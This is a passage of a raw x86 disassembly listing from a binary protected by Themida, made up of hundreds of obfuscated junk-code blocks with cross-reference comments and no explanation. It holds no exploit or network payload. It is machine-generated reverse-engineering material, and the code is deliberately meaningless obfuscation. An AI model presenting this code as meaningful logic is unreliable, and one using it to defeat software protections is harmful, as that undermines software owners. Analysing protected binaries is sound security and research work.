jmp loc_59E1C6
; ---------------------------------------------------------------------------
loc_5A166B: ; CODE XREF: Themida_:loc_59A53Cj
xchg edi, esi
jmp loc_59920E
; ---------------------------------------------------------------------------
loc_5A1672: ; CODE XREF: Themida_:005A9ABDj
mov ecx, edi
mov edi, [esp]
jmp loc_5AD4E1
; ---------------------------------------------------------------------------
loc_5A167C: ; CODE XREF: Themida_:0059D815j
xchg eax, [esp]
mov esp, [esp]
sub [edi+20h], eax
mov eax, [esp]
add esp, 4
jmp loc_59E7FD
; ---------------------------------------------------------------------------
loc_5A1693: ; CODE XREF: Themida_:005ACFAAj
add esp, 4
add ebp, 4
push ecx
push ebx
mov ebx, 43585629h
neg ebx
add ebx, 0BDBA829Bh
jmp loc_5A859D
; ---------------------------------------------------------------------------
loc_5A16B0: ; CODE XREF: Themida_:005A1B51j
mov esi, [esp]
add esp, 4
add esp, 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A16C4: ; CODE XREF: Themida_:005A76B5j
pop edx
sub edi, ecx
pop ecx
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
mov ch, 75h
jmp loc_5AB7C7
; ---------------------------------------------------------------------------
loc_5A16DE: ; CODE XREF: Themida_:0059A03Fj
pop esp
jmp loc_5999AE
; ---------------------------------------------------------------------------
loc_5A16E4: ; DATA XREF: Themida_:00598858o
push dword ptr [edi+3Ch]
jmp loc_59E963
; ---------------------------------------------------------------------------
loc_5A16EC: ; CODE XREF: Themida_:005AA42Cj
mov edx, 4
add edi, edx
pop edx
push ecx
mov ecx, 4
jmp loc_59D468
; ---------------------------------------------------------------------------
loc_5A16FF: ; CODE XREF: Themida_:005AD85Ej
mov ecx, [esp]
add esp, 4
xor edx, 7354D4E7h
mov ebx, edx
mov edx, [esp]
add esp, 4
xor edx, ebx
mov ebx, [esp]
add esp, 4
sub eax, edx
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub esp, 4
jmp loc_59B18F
; ---------------------------------------------------------------------------
loc_5A1739: ; CODE XREF: Themida_:0059B5ADj
pop eax
xor [esp+4], edi
pop edi
jmp loc_5A0DE7
; ---------------------------------------------------------------------------
loc_5A1744: ; CODE XREF: Themida_:005A1F76j
push ecx
mov ecx, 6C95F6Bh
add ecx, 0A5C785EEh
jmp loc_5A2018
; ---------------------------------------------------------------------------
loc_5A1755: ; CODE XREF: Themida_:0059F27Cj
mov esp, [esp]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A175D: ; CODE XREF: Themida_:005A6425j
not ah
jmp loc_5A8FCA
; ---------------------------------------------------------------------------
lodsd
push edx
mov edx, 71E2B84h
sub esp, 4
jmp loc_5A4610
; ---------------------------------------------------------------------------
loc_5A1776: ; CODE XREF: Themida_:00598F7Aj
shl edx, 1
push edi
mov edi, 0D1DB5F62h
add edx, edi
pop edi
sub eax, 40F37250h
add eax, edx
add eax, 40F37250h
pop edx
xor eax, [esp]
jmp loc_5AD741
; ---------------------------------------------------------------------------
loc_5A1796: ; CODE XREF: Themida_:005A57FFj
pop bx
push ebx
sub esp, 4
mov [esp], ecx
push edx
mov dl, 50h
mov ch, dl
jmp loc_5AA4CA
; ---------------------------------------------------------------------------
loc_5A17AC: ; CODE XREF: Themida_:005A855Ej
add dword ptr [esp], 4A1C79ADh
sub [esp], ebp
sub dword ptr [esp], 4A1C79ADh
jmp loc_59A5C3
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
jmp loc_5ADDAB
; ---------------------------------------------------------------------------
loc_5A17CC: ; CODE XREF: Themida_:005ADCAAj
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
xor eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_59E827
; ---------------------------------------------------------------------------
loc_5A17E9: ; CODE XREF: Themida_:0059B875j
mov bl, 68h
push ecx
mov cl, bl
mov dh, cl
pop ecx
push dword ptr [esp]
pop ebx
add esp, 4
add dh, 9Ah
add dh, 1
sub dh, 0ACh
push ecx
mov ch, dh
push edx
jmp loc_5A5B97
; ---------------------------------------------------------------------------
loc_5A180A: ; CODE XREF: Themida_:005AE0F4j
mov edi, 4
add edx, edi
jmp loc_59DE14
; ---------------------------------------------------------------------------
loc_5A1816: ; CODE XREF: Themida_:0059BB29j
xchg ebp, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
jmp loc_5AE273
; ---------------------------------------------------------------------------
loc_5A1830: ; CODE XREF: Themida_:005AA20Aj
add bl, al
jmp loc_5A111F
; ---------------------------------------------------------------------------
loc_5A1837: ; CODE XREF: Themida_:005A2868j
pop dword ptr [esp]
mov esp, [esp]
imul cx
push small 6E5Eh
mov [esp], dx
push ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A1850: ; CODE XREF: Themida_:005994C4j
xchg edx, esi
not edx
xchg edx, esi
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
jmp loc_5A2824
; ---------------------------------------------------------------------------
loc_5A1874: ; CODE XREF: Themida_:0059A3B3j
add eax, 41B169E9h
add eax, 2AC5242Dh
sub eax, edi
sub eax, 2AC5242Dh
sub eax, 41B169E9h
push ecx
jmp loc_5A3631
; ---------------------------------------------------------------------------
loc_5A1890: ; CODE XREF: Themida_:005A2CC7j
inc edx
neg edx
sub edx, 1
neg edx
push edi
jmp loc_5AB794
; ---------------------------------------------------------------------------
loc_5A189E: ; CODE XREF: Themida_:005AA64Ej
mov [esp], ebx
push 1B28h
mov [esp], esp
push ebp
mov ebp, 4
jmp loc_59924C
; ---------------------------------------------------------------------------
loc_5A18B4: ; CODE XREF: Themida_:005A2BA0j
mov ebp, 69E30F6Ah
not ebp
inc ebp
add ebp, 0DA995BF2h
xor ebx, ebp
jmp loc_5AE2D7
; ---------------------------------------------------------------------------
loc_5A18C9: ; CODE XREF: Themida_:00598BAEj
pop esp
jmp loc_5A03E9
; ---------------------------------------------------------------------------
loc_5A18CF: ; CODE XREF: Themida_:0059B09Fj
add dword ptr [esp+4], 1DCD7D40h
jmp loc_59F39C
; ---------------------------------------------------------------------------
loc_5A18DC: ; CODE XREF: Themida_:005A4F9Aj
sub ebx, edi
pop edi
sub ebx, 3D1778FBh
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
push small word ptr [eax]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A18FC: ; CODE XREF: Themida_:005A367Fj
add edx, 7B7738E9h
add edx, ecx
push ecx
jmp loc_59B175
; ---------------------------------------------------------------------------
loc_5A190A: ; CODE XREF: Themida_:005A01F6j
neg dl
dec dl
xor dl, 0D9h
xor bl, dl
pop edx
xor al, bl
mov bx, [esp]
add esp, 2
push ax
mov ah, 8Ah
sub bl, ah
mov ax, [esp]
add esp, 2
add bl, 4Fh
add bl, 30h
sub bl, al
sub bl, 30h
push dx
mov dh, 4Fh
push eax
push ecx
jmp loc_5A4EAD
; ---------------------------------------------------------------------------
loc_5A1943: ; CODE XREF: Themida_:005A6AA9j
; Themida_:005AF627j
sub ecx, 67A63DD1h
or ecx, 6A8A49C8h
jmp loc_5A88D0
; ---------------------------------------------------------------------------
loc_5A1954: ; CODE XREF: Themida_:005997BBj
add bl, 0BAh
pop eax
jmp loc_5AA374
; ---------------------------------------------------------------------------
loc_5A195D: ; CODE XREF: Themida_:005A4A56j
push cx
mov ch, dl
dec ch
jmp loc_5A0432
; ---------------------------------------------------------------------------
loc_5A1968: ; CODE XREF: Themida_:005AEEC8j
sub eax, edx
pop edx
sub eax, ebp
add eax, 11FF42C5h
pop ebp
add eax, 70511C9Eh
push 4C39h
mov [esp], ecx
mov ecx, esp
push 0B4Dh
mov [esp], ebx
jmp loc_5A0AEE
; ---------------------------------------------------------------------------
loc_5A198F: ; CODE XREF: Themida_:005AC629j
sub edi, ebx
pop ebx
add ebx, edi
jmp loc_5AA9D0
; ---------------------------------------------------------------------------
loc_5A1999: ; CODE XREF: Themida_:005A513Cj
pop dx
jmp loc_5AEE0D
; ---------------------------------------------------------------------------
loc_5A19A0: ; CODE XREF: Themida_:005A3854j
sub eax, 23352D6Bh
add eax, esi
add eax, 23352D6Bh
jmp loc_59E196
; ---------------------------------------------------------------------------
loc_5A19B1: ; CODE XREF: Themida_:005ABD0Ej
jle loc_599122
not ebx
add ebx, 743D4F9Ah
mov ecx, ebx
jmp loc_5A2729
; ---------------------------------------------------------------------------
loc_5A19C6: ; CODE XREF: Themida_:005ADDC8j
add cl, 2Dh
sub cl, dl
sub cl, 2Dh
mov edx, [esp]
add esp, 4
jmp loc_599633
; ---------------------------------------------------------------------------
loc_5A19DC: ; CODE XREF: Themida_:005A7937j
pop edx
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_59CF98
; ---------------------------------------------------------------------------
loc_5A19F4: ; CODE XREF: Themida_:0059CAFCj
xor edi, 23256592h
mov eax, [esp]
add esp, 4
shl edi, 5
add edi, 0A3F88C37h
sub eax, 4F1F359Eh
add eax, edi
add eax, 4F1F359Eh
pop edi
mov ecx, [esp]
add esp, 4
push 1656h
mov [esp], ebp
push ebx
push 44BC5F57h
pop ebx
inc ebx
jge loc_5AEED9
xor ebx, 62637CCCh
push ebx
jmp loc_5A5578
; ---------------------------------------------------------------------------
push esp
loc_5A1A42: ; CODE XREF: Themida_:005A0CBDj
xchg edi, esi
jmp loc_5AAF97
; ---------------------------------------------------------------------------
loc_5A1A49: ; CODE XREF: Themida_:005AEA70j
sub eax, 1E9F386Dh
pop ecx
push 22E2h
mov [esp], ebx
jmp loc_59FEE3
; ---------------------------------------------------------------------------
loc_5A1A5C: ; CODE XREF: Themida_:005A2FDDj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A1A61: ; CODE XREF: Themida_:005AED55j
add edi, 89029126h
jmp loc_59FC7D
; ---------------------------------------------------------------------------
loc_5A1A6C: ; CODE XREF: Themida_:0059B578j
; Themida_:0059F074j
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
push 5CA3h
mov [esp], eax
mov eax, 4
add edi, eax
mov eax, [esp]
add esp, 4
xchg edi, [esp]
mov esp, [esp]
push ebp
mov ebp, 12EC0DF6h
neg ebp
xor ebp, 700D6293h
jmp loc_5AB3E4
; ---------------------------------------------------------------------------
loc_5A1AA9: ; CODE XREF: Themida_:005A9E1Fj
pop ecx
xor ebx, 0C3A1B16h
jmp loc_59C394
; ---------------------------------------------------------------------------
loc_5A1AB5: ; CODE XREF: Themida_:00599007j
mov [esp], edi
push esi
push ebx
jmp loc_5A5A63
; ---------------------------------------------------------------------------
loc_5A1ABF: ; CODE XREF: Themida_:005AD163j
pop ebx
neg ebx
jnb loc_5AFD09
jmp loc_5AC1EB
; ---------------------------------------------------------------------------
loc_5A1ACD: ; CODE XREF: Themida_:005A3E51j
mov eax, 4A7D2403h
or ebp, eax
pop eax
push ebx
mov ebx, 59DE016Ch
xor ebx, 44E01228h
shr ebx, 4
jmp loc_59D0A3
; ---------------------------------------------------------------------------
loc_5A1AE9: ; CODE XREF: Themida_:0059B170j
mov ch, 4Ch
xor al, ch
jmp loc_5AC4B3
; ---------------------------------------------------------------------------
loc_5A1AF2: ; CODE XREF: Themida_:loc_59FCD5j
; Themida_:005A373Cj
add edi, 39C09D25h
sub esp, 4
mov [esp], edi
xor dword ptr [esp], 248E675Ah
jmp loc_59AAC5
; ---------------------------------------------------------------------------
loc_5A1B0A: ; DATA XREF: Themida_:005986F4o
push eax
push esi
push 3C64h
mov [esp], edx
mov edx, 68E6582Fh
jmp loc_5ADB04
; ---------------------------------------------------------------------------
loc_5A1B1E: ; CODE XREF: Themida_:0059AAACj
; Themida_:005A5E3Fj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A75DA
; ---------------------------------------------------------------------------
loc_5A1B2C: ; CODE XREF: Themida_:005A4C35j
mov ecx, ebp
pop ebp
sub edx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
xor edx, [esp]
xor [esp], edx
jmp loc_5A2153
; ---------------------------------------------------------------------------
loc_5A1B43: ; CODE XREF: Themida_:005A9EF7j
pop edx
add edx, ebx
pop ebx
add ebx, edx
jmp loc_5ABAE8
; ---------------------------------------------------------------------------
loc_5A1B4E: ; CODE XREF: Themida_:005A21CDj
push dword ptr [esp]
jmp loc_5A16B0
; ---------------------------------------------------------------------------
loc_5A1B56: ; CODE XREF: Themida_:005AEB58j
pop edx
push ecx
push esp
pop ecx
push esi
push ebx
mov ebx, 4
push ecx
mov ecx, ebx
mov esi, ecx
jmp loc_5A3B26
; ---------------------------------------------------------------------------
loc_5A1B6B: ; CODE XREF: Themida_:0059D7C7j
xor ebx, [esp]
mov esp, [esp]
movsx ecx, al
jmp loc_59C08D
; ---------------------------------------------------------------------------
loc_5A1B79: ; CODE XREF: Themida_:005ABAA4j
or ebx, 2B3D7309h
jmp loc_59AA87
; ---------------------------------------------------------------------------
loc_5A1B84: ; CODE XREF: Themida_:005AF938j
sub bl, 43h
and dh, bl
mov bx, [esp]
add esp, 2
jmp loc_59E5C9
; ---------------------------------------------------------------------------
loc_5A1B95: ; CODE XREF: Themida_:005A6FC3j
mov [esp], ebp
mov ebp, 4
add ecx, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
jmp loc_5AD974
; ---------------------------------------------------------------------------
loc_5A1BAA: ; CODE XREF: Themida_:005ACDE0j
mov ebx, 30313146h
shr ebx, 3
or ebx, 5A5222E4h
inc ebx
add ebx, 0C67515CCh
add edx, ebx
pop ebx
jmp loc_5AF8BE
; ---------------------------------------------------------------------------
loc_5A1BC7: ; CODE XREF: Themida_:005ACF60j
jmp loc_5A5678
; ---------------------------------------------------------------------------
loc_5A1BCC: ; CODE XREF: Themida_:005A0A53j
push esi
push edi
push 5C890167h
pop edi
and edi, 6906102Dh
jge loc_5AB5E7
shl edi, 2
sub edi, 1724F75Ch
jmp loc_5A5640
; ---------------------------------------------------------------------------
loc_5A1BEE: ; CODE XREF: Themida_:0059E549j
mov esp, [esp]
jmp loc_59B66B
; ---------------------------------------------------------------------------
loc_5A1BF6: ; CODE XREF: Themida_:00599947j
sub ecx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
add ecx, ebx
push 136Ah
jmp loc_5A6A8B
; ---------------------------------------------------------------------------
loc_5A1C0B: ; CODE XREF: Themida_:005A8BD2j
jmp loc_5A9A1E
; ---------------------------------------------------------------------------
loc_5A1C10: ; CODE XREF: Themida_:0059BDC7j
mov dh, 21h
add bh, dh
pop dx
mov al, bh
pop ebx
add ch, 0F9h
jmp loc_5A3E2A
; ---------------------------------------------------------------------------
loc_5A1C21: ; CODE XREF: Themida_:005AE2D8j
sub esp, 4
jmp loc_598FE8
; ---------------------------------------------------------------------------
loc_5A1C2C: ; CODE XREF: Themida_:005A126Dj
push ebx
mov bh, 90h
mov cl, bh
pop ebx
sub esp, 4
mov [esp], eax
mov al, 93h
mov dl, 23h
xor dl, al
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
sub dl, cl
pop ecx
add dl, ch
push dword ptr [esp]
pop ecx
add esp, 4
add al, 0C9h
sub al, dl
jmp loc_5A9756
; ---------------------------------------------------------------------------
loc_5A1C6E: ; CODE XREF: Themida_:005A6600j
push 269Ch
jmp loc_59F8A6
; ---------------------------------------------------------------------------
loc_5A1C78: ; CODE XREF: Themida_:005A5538j
jns loc_5A3E91
jmp loc_5A8C22
; ---------------------------------------------------------------------------
jmp loc_5A801F
; ---------------------------------------------------------------------------
loc_5A1C88: ; CODE XREF: Themida_:0059EFA2j
; Themida_:loc_5AD9A0j
add esi, eax
sub esi, 72D36D82h
pop eax
add esi, 4
push esi
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
jmp loc_5A84F9
; ---------------------------------------------------------------------------
loc_5A1CA2: ; CODE XREF: Themida_:00598E0Cj
sub ch, 0D7h
jmp loc_5A785A
; ---------------------------------------------------------------------------
loc_5A1CAA: ; CODE XREF: Themida_:00599D5Fj
push edx
mov dl, 10h
dec dl
xor dl, 23h
inc dl
and dl, 14h
sub dl, 6Ch
add al, dl
jmp loc_5A9117
; ---------------------------------------------------------------------------
loc_5A1CC1: ; CODE XREF: Themida_:005ACD37j
push ebp
push small 920h
mov bp, [esp]
add esp, 2
push ax
mov ax, 3043h
xor bp, ax
jmp loc_5A47F1
; ---------------------------------------------------------------------------
loc_5A1CDB: ; CODE XREF: Themida_:loc_5AA0E7j
or eax, 220A4DF3h
jnb loc_59DE02
xor eax, 0E2ABFFF6h
jmp loc_5A8F01
; ---------------------------------------------------------------------------
push ebx
loc_5A1CF1: ; CODE XREF: Themida_:0059EE54j
push edi
mov edi, 5E1A5C3Bh
or edi, 78025DD3h
not edi
inc edi
add edi, 6C4964B5h
and edi, 21622C6Eh
or edi, 789B0F0Eh
push edx
push esi
mov esi, 4B066054h
xor esi, 46515C5Ah
add esi, 1
sub esi, 0CF25232Bh
mov edx, esi
pop esi
xor edx, 97851FB6h
add edi, edx
pop edx
jmp loc_5AB3BF
; ---------------------------------------------------------------------------
loc_5A1D39: ; CODE XREF: Themida_:005A43B9j
xor [esp], eax
xor eax, [esp]
xor [esp], eax
not eax
xchg eax, [esp]
push dword ptr [esp]
jmp loc_59EDD8
; ---------------------------------------------------------------------------
loc_5A1D4F: ; CODE XREF: Themida_:005AD21Fj
pop edi
add edi, 4
sub esp, 4
mov [esp], ecx
push ebx
push 6E6C23A6h
mov ebx, [esp]
jmp loc_5A8F17
; ---------------------------------------------------------------------------
loc_5A1D6A: ; CODE XREF: Themida_:0059A797j
add eax, 4
sub esp, 4
mov [esp], edx
mov edx, 4
sub eax, edx
pop edx
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_5AC6B0
; ---------------------------------------------------------------------------
loc_5A1D8E: ; CODE XREF: Themida_:0059ACF7j
add eax, 693F2226h
jmp loc_598EE6
; ---------------------------------------------------------------------------
loc_5A1D98: ; CODE XREF: Themida_:005A34C0j
add edx, 62675FC9h
mov ebx, edx
pop edx
push edx
jmp loc_5A793C
; ---------------------------------------------------------------------------
loc_5A1DA7: ; CODE XREF: Themida_:0059E166j
mov [esp], edx
push eax
push ecx
push edi
jmp loc_5A00BF
; ---------------------------------------------------------------------------
loc_5A1DB2: ; CODE XREF: Themida_:005A24A3j
pop eax
jmp loc_5AD23A
; ---------------------------------------------------------------------------
loc_5A1DB8: ; CODE XREF: Themida_:00599C8Dj
push cx
pushf
jmp loc_5AC8B4
; ---------------------------------------------------------------------------
loc_5A1DC0: ; CODE XREF: Themida_:0059F8E3j
sub edi, 6AAC3485h
pop esi
add edi, 107C2D42h
jmp loc_59C7A3
; ---------------------------------------------------------------------------
loc_5A1DD2: ; CODE XREF: Themida_:005A42F9j
push dword ptr [esp]
pop ebx
add esp, 4
push eax
push edi
mov edi, 13744B2Bh
mov eax, 2C00BDDEh
sub eax, edi
pop edi
sub ebx, 50B803E4h
sub ebx, eax
add ebx, 50B803E4h
pop eax
pop esi
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A1DFD: ; CODE XREF: Themida_:loc_5A6716j
or ebx, 78A4342Dh
add ebx, 0F42626C9h
jmp loc_5A3BD7
; ---------------------------------------------------------------------------
loc_5A1E0E: ; CODE XREF: Themida_:005AE518j
push edx
mov edx, 2FD30D84h
mov ecx, edx
pop edx
jmp loc_59E226
; ---------------------------------------------------------------------------
loc_5A1E1C: ; CODE XREF: Themida_:005A36D2j
; Themida_:005A5DF8j
pop esi
push 2B39h
mov [esp], ebp
mov ebp, 63913262h
add ebp, 55FF10CFh
push ebp
not dword ptr [esp]
mov ebp, [esp]
add esp, 4
shr ebp, 1
or ebp, 13072215h
inc ebp
push edi
mov edi, 0CA55F30h
shr edi, 5
jmp loc_5AD875
; ---------------------------------------------------------------------------
loc_5A1E51: ; CODE XREF: Themida_:005A0860j
push edx
mov edx, esp
push 6790h
mov [esp], edi
mov edi, 4
add edx, edi
mov edi, [esp]
jmp loc_59BAED
; ---------------------------------------------------------------------------
loc_5A1E6B: ; CODE XREF: Themida_:00599A71j
add ecx, 4
xchg ecx, [esp]
pop esp
add bl, 0C9h
sub bl, 9Ah
jmp loc_59FE8F
; ---------------------------------------------------------------------------
loc_5A1E80: ; CODE XREF: Themida_:0059CFB2j
mov ah, dh
push ebx
mov bl, ah
mov ch, bl
pop ebx
jmp loc_5AE3EB
; ---------------------------------------------------------------------------
loc_5A1E8D: ; CODE XREF: Themida_:005A62F5j
mov eax, 47914160h
add eax, 0F7FD8841h
add ebx, eax
pop eax
jmp loc_5A8223
; ---------------------------------------------------------------------------
loc_5A1E9F: ; CODE XREF: Themida_:005AB34Ej
jo loc_5AF2AC
inc eax
jns loc_5A7A2A
jmp loc_5A69B9
; ---------------------------------------------------------------------------
jmp loc_5AB8E4
; ---------------------------------------------------------------------------
loc_5A1EB6: ; CODE XREF: Themida_:loc_5A00EDj
shl edx, 8
jz loc_59C463
add edx, 43BAEE5Ah
jmp loc_59A2AA
; ---------------------------------------------------------------------------
loc_5A1ECA: ; CODE XREF: Themida_:0059B5DAj
; Themida_:0059BE4Ej
push 147Fh
mov [esp], eax
add dword ptr [esp], 0FFFFFFFFh
jmp loc_5A9F3F
; ---------------------------------------------------------------------------
loc_5A1EDB: ; CODE XREF: Themida_:0059A014j
; Themida_:0059E91Aj
or esi, edx
pop edx
shr esi, 4
shl esi, 1
push esi
not dword ptr [esp]
pop esi
xor esi, 0DD201059h
not esi
sub esp, 4
mov [esp], edi
push 0F8629F7h
pop edi
jmp loc_5990B1
; ---------------------------------------------------------------------------
loc_5A1F04: ; CODE XREF: Themida_:0059A90Aj
push esp
jmp loc_5A8D2C
; ---------------------------------------------------------------------------
loc_5A1F0A: ; CODE XREF: Themida_:0059F230j
xor ebx, [esp]
jmp loc_5A64C3
; ---------------------------------------------------------------------------
loc_5A1F12: ; CODE XREF: Themida_:0059FFE8j
; Themida_:005AF3ADj
not edi
xchg eax, edi
jmp loc_5A4BF6
; ---------------------------------------------------------------------------
loc_5A1F1A: ; CODE XREF: Themida_:005A844Bj
mov eax, esi
pop esi
mov edx, [esp]
add esp, 4
jmp loc_59BF53
; ---------------------------------------------------------------------------
loc_5A1F2B: ; CODE XREF: Themida_:005A584Fj
add esi, eax
jmp loc_5ABCBD
; ---------------------------------------------------------------------------
loc_5A1F32: ; CODE XREF: Themida_:0059A7DEj
add esp, 4
sub esi, 18B9000Ah
jmp loc_59A88C
; ---------------------------------------------------------------------------
loc_5A1F43: ; CODE XREF: Themida_:0059A594j
mov esi, [esp]
jmp loc_59DB94
; ---------------------------------------------------------------------------
loc_5A1F4B: ; CODE XREF: Themida_:005A8814j
pop ecx
add eax, 370C12ACh
jmp loc_5A29B3
; ---------------------------------------------------------------------------
loc_5A1F56: ; CODE XREF: Themida_:005A8FD0j
mov dh, 59h
add ah, dh
mov edx, [esp]
add esp, 4
xor cl, ah
pop eax
jmp loc_599787
; ---------------------------------------------------------------------------
loc_5A1F68: ; CODE XREF: Themida_:005AF3DAj
pop edx
add eax, esi
jmp loc_59CA9A
; ---------------------------------------------------------------------------
loc_5A1F70: ; CODE XREF: Themida_:005AFA19j
sub ebp, 499D4BAEh
jg loc_5A1744
push ecx
mov ecx, 6C95F6Bh
add ecx, 0A5C785EEh
jmp loc_5A8F51
; ---------------------------------------------------------------------------
loc_5A1F8D: ; CODE XREF: Themida_:005AF4B3j
add esi, 2
jmp loc_5A7993
; ---------------------------------------------------------------------------
loc_5A1F95: ; CODE XREF: Themida_:005A4BFFj
mov ebx, [esp]
add esp, 4
push 7C49h
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_5A14CB
; ---------------------------------------------------------------------------
loc_5A1FCA: ; CODE XREF: Themida_:005A895Fj
and dh, 0A5h
jmp loc_5A25DC
; ---------------------------------------------------------------------------
loc_5A1FD2: ; CODE XREF: Themida_:00599DEAj
push edi
push edx
push 466B3AF4h
pop edx
add edx, 3C883F85h
jge loc_5A690D
jmp loc_5AFD9E
; ---------------------------------------------------------------------------
push esp
jmp loc_5AEB05
; ---------------------------------------------------------------------------
db 89h, 0C0h
; ---------------------------------------------------------------------------
loc_5A1FF3: ; CODE XREF: Themida_:005A8C1Dj
mov eax, ebp
pop ebp
mov ebp, eax
jmp loc_5A94D3
; ---------------------------------------------------------------------------
loc_5A1FFD: ; CODE XREF: Themida_:0059C42Bj
mov [esp], esi
jmp loc_5AA0D8
; ---------------------------------------------------------------------------
loc_5A2005: ; CODE XREF: Themida_:0059A659j
add ebx, eax
jmp loc_59C32C
; ---------------------------------------------------------------------------
loc_5A200C: ; CODE XREF: Themida_:005A813Fj
pop edi
add edx, 0FFFFFFFFh
jmp loc_59E76A
; ---------------------------------------------------------------------------
loc_5A2018: ; CODE XREF: Themida_:005A1750j
jmp loc_5AE2C3
; ---------------------------------------------------------------------------
loc_5A201D: ; CODE XREF: Themida_:0059FA11j
add ebx, 1FE85A32h
pop small word ptr [eax]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A202B: ; CODE XREF: Themida_:005AF4D6j
dec eax
or eax, 41C43B51h
shr eax, 5
add eax, 447D5B63h
jmp loc_5A2C2E
; ---------------------------------------------------------------------------
loc_5A203E: ; CODE XREF: Themida_:005A4D58j
mov esp, [esp]
xchg eax, [esp]
jmp loc_59F32F
; ---------------------------------------------------------------------------
loc_5A2049: ; CODE XREF: Themida_:0059EEE8j
push ebx
mov ebx, 71B750C0h
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5AB55F
; ---------------------------------------------------------------------------
loc_5A205D: ; CODE XREF: Themida_:005A69F6j
mov esi, 4B0B3C81h
sub esi, 0FFFFFFFFh
sub esp, 4
mov [esp], ebx
mov ebx, 6CB07193h
jmp loc_599297
; ---------------------------------------------------------------------------
loc_5A207B: ; CODE XREF: Themida_:0059A4AAj
pop esi
jmp loc_5AEA9E
; ---------------------------------------------------------------------------
loc_5A2081: ; CODE XREF: Themida_:0059FD78j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_59AF69
; ---------------------------------------------------------------------------
loc_5A2094: ; CODE XREF: Themida_:005AE9B0j
sub esi, 7E35AC21h
sub ecx, 561604B7h
add ecx, esi
add ecx, 561604B7h
mov esi, [esp]
jmp loc_59F594
; ---------------------------------------------------------------------------
loc_5A20B0: ; CODE XREF: Themida_:0059F397j
sub ecx, 0C2082141h
jmp loc_5AF72A
; ---------------------------------------------------------------------------
loc_5A20BB: ; CODE XREF: Themida_:005AD870j
mov ecx, 5AE34511h
shr ecx, 2
shl ecx, 8
xchg esi, ecx
jmp loc_59F04D
; ---------------------------------------------------------------------------
loc_5A20CD: ; CODE XREF: Themida_:005ADD07j
sub ebp, edx
push eax
mov eax, 44593B19h
shl eax, 6
and eax, 0DD25D3Eh
inc eax
shr eax, 8
shl eax, 1
jmp loc_5AC6A4
; ---------------------------------------------------------------------------
loc_5A20E8: ; CODE XREF: Themida_:0059B012j
jnz loc_5A47E4
xor edx, 65B5EAEFh
xor esi, edx
jmp loc_5A1550
; ---------------------------------------------------------------------------
loc_5A20FB: ; DATA XREF: Themida_:005987A8o
push dword ptr [esp]
pop edx
push 680Ah
mov [esp], ebx
push 121h
sub esp, 4
push esp
jmp loc_59EF33
; ---------------------------------------------------------------------------
loc_5A2118: ; CODE XREF: Themida_:005AD7EAj
mov cl, ah
pop eax
mov ebx, [esp]
push ebp
jmp loc_5A10F5
; ---------------------------------------------------------------------------
loc_5A2124: ; CODE XREF: Themida_:0059DDC9j
add ecx, 6C631F2Ch
add ecx, edi
sub ecx, 6C631F2Ch
mov edi, [esp]
push ecx
jmp loc_59C351
; ---------------------------------------------------------------------------
loc_5A213B: ; CODE XREF: Themida_:005ACA2Dj
xchg esi, edi
not esi
xchg esi, edi
push esi
jmp loc_5A9345
; ---------------------------------------------------------------------------
loc_5A2147: ; CODE XREF: Themida_:0059C1A2j
; Themida_:loc_5A6F66j
push ecx
push 27318A1h
pop ecx
jmp loc_5A80BE
; ---------------------------------------------------------------------------
loc_5A2153: ; CODE XREF: Themida_:005A1B3Ej
xor edx, [esp]
pop esp
sub esp, 4
mov [esp], esp
push esi
mov esi, 4
jmp loc_59D3D0
; ---------------------------------------------------------------------------
loc_5A216B: ; CODE XREF: Themida_:005AAEE9j
mov ecx, 4C7447A6h
add ecx, 6404691Ch
not ecx
neg ecx
jmp loc_5A9094
; ---------------------------------------------------------------------------
loc_5A217F: ; CODE XREF: Themida_:005A5AB0j
add ebx, 12CFF3CEh
or ecx, ebx
pop ebx
inc ecx
inc ecx
push ebp
mov ebp, 0FDBC9E32h
add ecx, ebp
mov ebp, [esp]
add esp, 4
sub ebx, ecx
pop ecx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A21A0: ; CODE XREF: Themida_:005AE23Bj
sub eax, 49F667E5h
jmp loc_5A5640
; ---------------------------------------------------------------------------
loc_5A21AA: ; CODE XREF: Themida_:0059C8DAj
pop edi
or ebp, eax
pop eax
jmp loc_5A92D3
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_59EBB0
; ---------------------------------------------------------------------------
loc_5A21BC: ; CODE XREF: Themida_:005A4ACCj
mov [esp], edx
jmp loc_5A8C22
; ---------------------------------------------------------------------------
loc_5A21C4: ; CODE XREF: Themida_:005ADD62j
pop ebp
add dword ptr [esp+4], 27EA4C31h
jmp loc_5A1B4E
